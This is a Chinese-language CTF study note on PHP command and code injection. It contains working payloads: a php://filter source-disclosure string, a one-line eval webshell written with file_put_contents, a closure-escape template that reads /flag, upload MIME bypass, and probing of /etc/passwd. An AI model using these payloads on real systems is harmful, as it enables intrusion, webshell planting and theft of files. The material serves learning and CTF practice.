命令执行与代码执行
一、 命令执行与代码执行的区别命令执行 (RCE)调用操作系统的命令如ls,cat,whoami。代码执行执行当前语言本身的代码如 PHP 的函数、变量、逻辑。注代码执行往往可以衍生出命令执行如 PHP 代码执行了system(cat /flag)。二、 危险函数与语法速查1. 反引号 —— 命令替换作用将反引号内的字符串交给系统 Shell 执行并将输出结果返回。等价于PHP 中的shell_exec()Shell 中的$()。示例$output cat /etc/passwd;防御绝不全拼用户输入使用escapeshellarg()/escapeshellcmd()。2.eval()—— 代码注入之王作用将传入的字符串当作 PHP 代码执行。名言Eval is evil。危险点只要字符串中包含可控变量就能注入任意代码。防御坚决不用eval处理不可信数据使用call_user_func或映射表替代动态调用。3.file_put_contents()—— 一次性写文件语法file_put_contents(文件名, 写入内容, 标志位, 上下文)常用标志位FILE_APPEND(追加写入) |LOCK_EX(排他锁防并发冲突)。特性等于fopenfwritefclose的封装目录不存在会报错不会自动创建。4.include()—— 文件包含作用读取指定文件内容并将其作为 PHP 代码执行。核心漏洞include($_GET[file])导致任意文件包含 (LFI/RFI)。特性无论包含什么格式的文件.jpg,.txt,.log只要里面包含?php ... ?都会被当作 PHP 执行。三、 核心攻击手法 (CTF 必考)手法 1MIME 类型绕过 (文件上传)场景后端仅检查 HTTP 请求中的Content-Type是否为图片。标准 MIME.php对应application/x-httpd-php。绕过抓包将上传.php文件的Content-Type伪造为image/jpeg或image/png骗过服务端检查但文件仍被解析为脚本。手法 2PHP 伪协议读取源码 (文件包含配合)场景include(flag.php)不会显示代码只会执行变量赋值。Payload?filephp://filter/readconvert.base64-encode/resourceflag.php效果include读取flag.php源码并以 Base64 编码输出解码即可看到明文源码绕过执行。手法 3敏感文件探测黄金标准Linux/etc/passwd(验证命令执行/LFI是否存在)、/flag或/flag.txt(常见 Flag 位置)。WindowsC:\Windows\System32\drivers\etc\hosts。四、 代码注入核心思路顺应语法 vs 闭合逃逸当可控变量被强行拼接进某个函数内部时如eval(func(.$_GET[c].);)有两种解题思路思路 A顺应语法 (利用函数本身特性)不破坏外层函数的结构将恶意代码作为合法参数传入。场景 1eval(file_put_contents(.$code.););传入codeshell.php,?php eval($_POST[1]);?执行file_put_contents(shell.php,?php eval($_POST[1]);?);(直接写马)场景 2eval(include(.$code.););传入codephp://filter/readconvert.base64-encode/resourceflag.php执行include(php://filter/...);(利用伪协议读源码)思路 B闭合逃逸 (降维打击无视外层函数)强行闭合掉外层函数注释掉多余代码执行我们自己的代码。万能 Payload 模板1);恶意代码;//场景eval(include(.$code.););传入code1);echo file_get_contents(/flag);//执行include(1);echo file_get_contents(/flag);//);解析include(1);报 Warning 但不致命 - 执行echo file_get_contents读 Flag -//注释掉后面的垃圾代码。五、 踩坑与调试技巧 (避坑指南)1.Use of undefined constant报错原因字符串没有加引号。例如include(shell.php)PHP 把shell当成常量找。解决确保拼接后的代码里字符串有引号。传入参数时要把引号带进去codeshell.php。2. URL 特殊字符编码原因在 GET 请求中单引号、空格、尖括号容易解析错误或被 WAF 拦截。解决使用 Hackbar 或 Burp 时确保对 Payload 进行 URL 编码如变%27空格变%20。3. 终极调试法eval换echo做法当不确定自己传参后 PHP 到底执行了什么把题目源码里的eval换成echo。效果网页会直接打印出拼接后的完整字符串语法错误、引号缺失一目了然。

相关新闻

本科毕业论文写作,有哪些实用工具与写作助手推荐?

本科毕业论文写作,有哪些实用工具与写作助手推荐?

又到了一年毕业季,看着空白的Word文档,面对几万字的毕业论文要求,那种无从下手的焦虑感,相信每个毕业生都深有体会。选题怎么定?文献综述怎么写?查重率如何降下来?这些问题像一座座大山&#xf…

2026/7/23 21:05:28阅读更多 →
龙哥量化:通达信涨停再震荡

龙哥量化:通达信涨停再震荡

涨停,表示多方力量非常强势,主力控盘程度非常高一般情况下, 在低位震荡的期间,通过各种负面公告,利空消息,使短线散户信心崩溃,一段时间后, 大部分都熬不住,无奈放弃筹码…

2026/7/23 21:05:28阅读更多 →
Kubernetes节点管理教程

Kubernetes节点管理教程

Kubernetes节点管理深度教程:从入门到核心运维实践 Kubernetes作为容器编排领域的事实标准,其集群的稳定性和性能高度依赖于节点的有效管理。节点是Kubernetes集群中承载工作负载的实体,包括物理机、虚拟机或云实例。本文将系统性地阐述节点…

2026/7/23 21:05:28阅读更多 →
C++与C#深度对比:内存管理、并发模型与实战选型指南

C++与C#深度对比:内存管理、并发模型与实战选型指南

1. 项目概述:为什么需要对比C与C#? 在技术社区里,关于C和C#孰优孰劣的讨论,几乎每隔一段时间就会掀起一波热潮。新手开发者常常会问:“我该学C还是C#?” 而资深工程师在技术选型时,也免不了要在…

2026/7/24 5:39:26阅读更多 →
mybatis的typeHandler 作用

mybatis的typeHandler 作用

在 MyBatis 中,TypeHandler(类型处理器)扮演着 **“翻译官”** 或 **“桥梁”** 的角色。它的核心作用是:**在 Java 数据类型和 JDBC 数据库数据类型之间进行相互转换。**因为 Java 的类型(如 String, Date, Enum, 自定…

2026/7/24 5:39:26阅读更多 →
深入解析TI BQ28Z610-R1电量计:阻抗追踪算法与智能BMS设计

深入解析TI BQ28Z610-R1电量计:阻抗追踪算法与智能BMS设计

1. 项目概述与核心价值在锂离子电池驱动的设备里,我们最怕两件事:一是用着用着突然没电关机,数据都没来得及保存;二是充电时管理不当,要么充不满影响体验,要么过充引发安全隐患。解决这些问题的核心&#x…

2026/7/24 5:39:26阅读更多 →
为什么92%的AI数字人项目卡在“最后一公里”?——打通CRM/ERP/知识库的4层集成架构图解

为什么92%的AI数字人项目卡在“最后一公里”?——打通CRM/ERP/知识库的4层集成架构图解

更多请点击: https://intelliparadigm.com 第一章:为什么92%的AI数字人项目卡在“最后一公里”? “最后一公里”并非指物理距离,而是从实验室原型到真实业务场景中稳定交付的关键跃迁——它涵盖实时语音驱动唇形同步精度、多模态…

2026/7/24 5:39:26阅读更多 →
从Excel报表到AI智能归因报告:一位CDO的转型实录——含12个真实失败案例、8个可复用指标树与审计留痕规范

从Excel报表到AI智能归因报告:一位CDO的转型实录——含12个真实失败案例、8个可复用指标树与审计留痕规范

更多请点击: https://codechina.net 第一章:从Excel报表到AI智能归因报告:一位CDO的转型实录 当首席数据官李薇第一次在季度经营会上展示“用户转化路径AI归因热力图”时,会议室里安静得能听见空调低鸣。三个月前,她还…

2026/7/24 5:39:26阅读更多 →
计算机毕业设计之基于SpringBoot的母婴用品购物平台设计与实现

计算机毕业设计之基于SpringBoot的母婴用品购物平台设计与实现

本世纪以来,随着越来越多的人使用网络,互联网得到了极大的发展,各种网络资源呈一个爆发性的增长,越来越多的人通过各种各样的网络工具,例如一些专业百度的官网,查询各种各样的信息,为了适应社会…

2026/7/24 5:37:26阅读更多 →
Go语言静态资源打包方案对比与实践指南

Go语言静态资源打包方案对比与实践指南

1. 项目背景与核心需求在Go语言开发中,我们经常需要处理静态资源文件的打包问题。无论是Web应用的模板文件、前端资源,还是配置文件、证书等,都需要随程序一起分发。传统做法是将这些文件与编译后的二进制文件放在同一目录下,但这…

2026/7/24 0:58:53阅读更多 →
Go语言实现高性能LDAP认证服务的架构与实践

Go语言实现高性能LDAP认证服务的架构与实践

1. 项目背景与核心价值LDAP(轻量级目录访问协议)作为企业级身份认证的黄金标准,已经服务了超过80%的财富500强公司。我在金融科技领域实施统一认证体系时,发现传统Java方案存在启动慢、内存占用高等痛点。而Go语言凭借其协程并发模…

2026/7/24 0:58:53阅读更多 →
【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

更多请点击: https://intelliparadigm.com 第一章:AI面试官实战指南的核心价值与适用场景 AI面试官并非替代人类HR的“黑箱工具”,而是以可解释、可审计、可迭代的方式,赋能招聘全链路的关键基础设施。其核心价值在于将主观经验沉…

2026/7/24 0:58:53阅读更多 →
我的编程之路:第一篇博客

我的编程之路:第一篇博客

大家好,我是一名编程初学者,同时这也是我编程学习之路上的第一篇博客。在这里,我想要向大家介绍我的一些想法和规划。a.自我介绍我是一个刚刚接触编程的新手,目前在学习c语言,我对编程世界充满了强烈的好奇。当然&…

2026/7/24 0:00:06阅读更多 →
【LeetCode 54】螺旋矩阵

【LeetCode 54】螺旋矩阵

问题描述: 解法: 1、模拟(参考自【LeetCode 54】螺旋矩阵-CSDN博客) int *spiralOrder(int **matrix, int matrixSize, int *matrixColSize, int *returnSize) {static const int dirs[4][2] {{0, 1}, {1, 0}, {0, -1}, {-1, …

2026/7/24 0:00:06阅读更多 →
2026 WAIC:模型隐身、智能体疯野,厂商竞赛聚焦办公场景与商业闭环

2026 WAIC:模型隐身、智能体疯野,厂商竞赛聚焦办公场景与商业闭环

知春路不相信模型领先今年WAIC大会,昔日AI六小龙来了五家,分别是Kimi、阶跃星辰、Minimax、百川智能、零一万物。连放弃基模的百川和零一万物都来了,唯一缺席的竟是近几个月来风光无限的智谱。(DeepSeek一直不参加)WAI…

2026/7/24 0:00:06阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/23 22:58:43阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/23 18:58:18阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/23 18:58:18阅读更多 →